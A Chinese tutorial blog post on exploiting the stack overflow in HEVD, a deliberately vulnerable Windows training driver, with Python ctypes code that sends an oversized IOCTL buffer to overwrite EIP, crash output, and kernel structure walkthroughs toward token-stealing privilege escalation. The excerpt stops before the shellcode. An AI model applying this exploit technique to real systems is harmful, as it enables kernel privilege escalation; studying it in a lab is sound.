欢迎来到 嗅灵易学

零基础也能上手的脚本技术课,一对一答疑带你入门

[原创]内核进击之旅--HEVD--stackoverflow

[原创]内核进击之旅--HEVD--stackoverflow

内核进击之旅--HEVD--stackoverflow

HEVD

HEVD全称是HackSysExtremeVulnerableDriver,它是一个包含各种Windows内核漏洞的驱动程序项目,可以用来学习Windows内核攻击。地址是https://github.com/hacksysteam/HackSysExtremeVulnerableDriver

前奏

首先需要编译驱动程序,在前一篇中安装环境和编译已经描述清楚了。一开始我编译的平台是Win7x86。后面再介绍x64,二者相差不大。编译完成后,使用OSR driver Loader在目标系统中加载驱动,加载完成后开始分析。同时在windbg里执行ed nt!Kd_Default_Mask 8就可以修改注册表打开DbgPrint调试输出。

漏洞分析

第一个漏洞是stackoverflow,因为程序有源代码,所以我先直接看的源代码。可以看到HACKSYS_EVD_IOCTL_STACK_OVERFLOW IO code对应的是StackOverflowIoctlHandler例程函数。跟进去这个函数,发现它获取了用户的输入以及用户传入的输入大小并且调用TriggerStackOverflow函数,继续跟进,发现TriggerStackOverflow即是漏洞函数。

        NTSTATUS Status = STATUS_SUCCESS;

        ULONG KernelBuffer[BUFFER_SIZE] = {0};

        ProbeForRead(UserBuffer, sizeof(KernelBuffer), (ULONG)__alignof(KernelBuffer));

        DbgPrint("[+] UserBuffer: 0x%p\n", UserBuffer);

        DbgPrint("[+] UserBuffer Size: 0x%X\n", Size);

        DbgPrint("[+] KernelBuffer: 0x%p\n", &KernelBuffer);

        DbgPrint("[+] KernelBuffer Size: 0x%X\n", sizeof(KernelBuffer));

        DbgPrint("[+] Triggering Stack Overflow\n");

        // Vulnerability Note: This is a vanilla Stack based Overflow vulnerability

        // because the developer is passing the user supplied size directly to

        // RtlCopyMemory()/memcpy() without validating if the size is greater or

        // equal to the size of KernelBuffer

        RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, Size);

通过这个函数可以看到漏洞的成因是KernelBuff大小是固定的512*8字节,而在最后拷贝的时候却使用的是用户自定义的大小,导致存在溢出。

漏洞利用

BSOD

想要利用漏洞,首先能触发漏洞并引起BSOD,漏洞触发很简单,只要传入的UserBuff以及Size都大于KernelBuff即可。为了练习Python编程能力,使用Pythonctypes来写程序(其实主要是看别人的代码来改)。
把程序拖进IDA,看到KernelBuff的地址是unsigned int KernelBuffer[512]; // [esp+Ch] [ebp-828h],所以传入的输入大于0x828+4即可覆盖eip导致异常崩溃。
首先是获取驱动句柄:

def gethandle():

    """Open handle to driver and return it"""

    print "[*]Getting device handle..."

    lpFileName = u"\\\\.\\HacksysExtremeVulnerableDriver"

    dwDesiredAccess = GENERIC_READ | GENERIC_WRITE

    dwShareMode = 0

    lpSecurityAttributes = None

    dwCreationDisposition = OPEN_EXISTING

    dwFlagsAndAttributes = FILE_ATTRIBUTE_NORMAL

    hTemplateFile = None

    handle = CreateFileW(lpFileName,

                         dwDesiredAccess,

                         dwShareMode,

                         lpSecurityAttributes,

                         dwCreationDisposition,

                         dwFlagsAndAttributes,

                         hTemplateFile)

    if not handle or handle == -1:

        print "\t[-]Error getting device handle: " + FormatError()

        sys.exit(-1)

    print "\t[+]Got device handle: 0x%x" % handle

    return handle

接下来是触发漏洞,触发漏洞首先需要IO code,IO code可以从IDA里面获取,也可以照着源码构造。HEVD的stackoverflow的IO code是0x222003。知道IO code以后就可以用DeviceIoControl来传递IO包去触发漏洞。

def trigger(hDevice, dwIoControlCode):

    """Create evil buf and send IOCTL"""

    evilbuf = create_string_buffer("A"*0x828+'1'*4+'2'*4)

    lpInBuffer = addressof(evilbuf)

    nInBufferSize = 0x828+8

    lpOutBuffer = None

    nOutBufferSize = 0

    lpBytesReturned = None

    lpOverlapped = create_string_buffer("A"*8)

    pwnd = DeviceIoControl(hDevice,

                                           dwIoControlCode,

                                           lpInBuffer,

                                           nInBufferSize,

                                           lpOutBuffer,

                                           nOutBufferSize,

                                           lpBytesReturned,

                                           lpOverlapped)

    if not pwnd:

        print "\t[-]Error: Not pwnd :(\n" + FormatError()

        sys.exit(-1)

运行脚本,系统崩溃退出。在windbg里面,我们可以看到溢出崩溃后的情况。

Win7_x86!IrpDeviceIoCtlHandler+b7 [c:\users\raycp\desktop\hacksysextremevulnerabledriver-master\driver\hacksysextremevulnerabledriver.c @ 208]

8e3dd4f7 8945f8          mov     dword ptr [ebp-8],eax

BUGCHECK_STR:  ACCESS_VIOLATION

EXECUTE_ADDRESS: 32323232

FAILED_INSTRUCTION_ADDRESS: 

+0

32323232 ??

可以看到eip被覆盖成了0x32323232即输入字符串中的'2'*4

shellcode

一开始学的shellcode就是替换cmd进程token为system的token,达到提权的目的。
为了获取token,需要对windows内核的结构体有些了解。
首先是获取Windows的KPCR(Kernel Processor Control Region)结构体,这个结构体存储了关于处理器的一些信息。在win7 x86系统中该结构体存储在fs:[0],而在x64系统中,结构体存储在gs:[0]中。

kd> dt nt!_KPCR

   +0x000 NtTib            : _NT_TIB

   +0x000 Used_ExceptionList : Ptr32 _EXCEPTION_REGISTRATION_RECORD

   +0x004 Used_StackBase   : Ptr32 Void

   +0x008 Spare2           : Ptr32 Void

   +0x00c TssCopy          : Ptr32 Void

   +0x010 ContextSwitches  : Uint4B

   +0x014 SetMemberCopy    : Uint4B

   +0x018 Used_Self        : Ptr32 Void

   +0x01c SelfPcr          : Ptr32 _KPCR

   +0x020 Prcb             : Ptr32 _KPRCB

   ...

   +0x120 PrcbData         : _KPRCB

KPCR偏移0x120的地方存储了KPRCB( Kernel Processor Control Block)结构体,这个结构体存储了当前处理器的信息,包含线程信息等。

kd> dt nt!_KPRCB

   +0x000 MinorVersion     : Uint2B

   +0x002 MajorVersion     : Uint2B

   +0x004 CurrentThread    : Ptr32 _KTHREAD

   +0x008 NextThread       : Ptr32 _KTHREAD

   +0x00c IdleThread       : Ptr32 _KTHREAD

   ...

在这里我们关心的是偏移0x4_KTHREAD结构体,这个指针指向一个ETHREAD结构体,包含当前运行线程的信息。

kd> dt nt!_KTHREAD

   +0x000 Header           : _DISPATCHER_HEADER

   +0x010 CycleTime        : Uint8B

   +0x018 HighCycleTime    : Uint4B

   +0x020 QuantumTarget    : Uint8B

   +0x028 InitialStack     : Ptr32 Void

   +0x02c StackLimit       : Ptr32 Void

   +0x030 KernelStack      : Ptr32 Void

   +0x034 ThreadLock       : Uint4B

   +0x038 WaitRegister     : _KWAIT_STATUS_REGISTER

   ...

   +0x040 ApcState         : _KAPC_STATE

   +0x040 ApcStateFill     : [23] UChar

   +0x057 Priority         : Char

   ...

_KTHREAD偏移0x40的地方是_KAPC_STATE结构体。这个结构体比较简单:

kd> dt nt!_KAPC_STATE

   +0x000 ApcListHead      : [2] _LIST_ENTRY

   +0x010 Process          : Ptr32 _KPROCESS

   +0x014 KernelApcInProgress : UChar

   +0x015 KernelApcPending : UChar

   +0x016 UserApcPending   : UChar

最终我们看到了_KPROCESS指针,这个指针指向EPROCESSEPROCESS结构体包含了当前进程的一些信息。

kd> dt nt!_EPROCESS

   +0x000 Pcb              : _KPROCESS

   +0x098 ProcessLock      : _EX_PUSH_LOCK

   +0x0a0 CreateTime       : _LARGE_INTEGER

   +0x0a8 ExitTime         : _LARGE_INTEGER

   +0x0b0 RundownProtect   : _EX_RUNDOWN_REF

   +0x0b4 UniqueProcessId  : Ptr32 Void

   +0x0b8 ActiveProcessLinks : _LIST_ENTRY

   +0x0c0 ProcessQuotaUsage : [2] Uint4B

   +0x0c8 ProcessQuotaPeak : [2] Uint4B

   +0x0d0 CommitCharge     : Uint4B

   +0x0d4 QuotaBlock       : Ptr32 _EPROCESS_QUOTA_BLOCK

   +0x0d8 CpuQuotaBlock    : Ptr32 _PS_CPU_QUOTA_BLOCK

   +0x0dc PeakVirtualSize  : Uint4B

   +0x0e0 VirtualSize      : Uint4B

   +0x0e4 SessionProcessLinks : _LIST_ENTRY

   +0x0ec DebugPort        : Ptr32 Void

   +0x0f0 ExceptionPortData : Ptr32 Void

   +0x0f0 ExceptionPortValue : Uint4B

   +0x0f0 ExceptionPortState : Pos 0, 3 Bits

   +0x0f4 ObjectTable      : Ptr32 _HANDLE_TABLE

   +0x0f8 Token            : _EX_FAST_REF

   +0x0fc WorkingSetPage   : Uint4B

   ...

这个结构体中需要关注的字段有三个,一个是UniqueProcessId,表示的是当前进程ID,即我们在任务管理器里面看到的进程号,我们要寻找的system的进程号是4。第二个是Token字段,我们所要做的即是将systemtoken拷贝至cmdtoken字段中。最后一个是ActiveProcessLinks,这是一个双向链表,指向下一个进程的ActiveProcessLinks结构体处,通过这个链表我们可以遍历所有进程,以寻找我们需要的进程。

注意:上传附件及图片大小不得大于30M。

⚠️ 版权声明:
本博客所有内容(含教程、源码、工具)仅供个人技术学习与研究交流使用,严禁商用、倒卖、二次分发及非法用途
未经作者书面授权,任何组织或个人不得转载、复制或用于其他平台,违者将追究相关责任。

0 0 0 举报
复制成功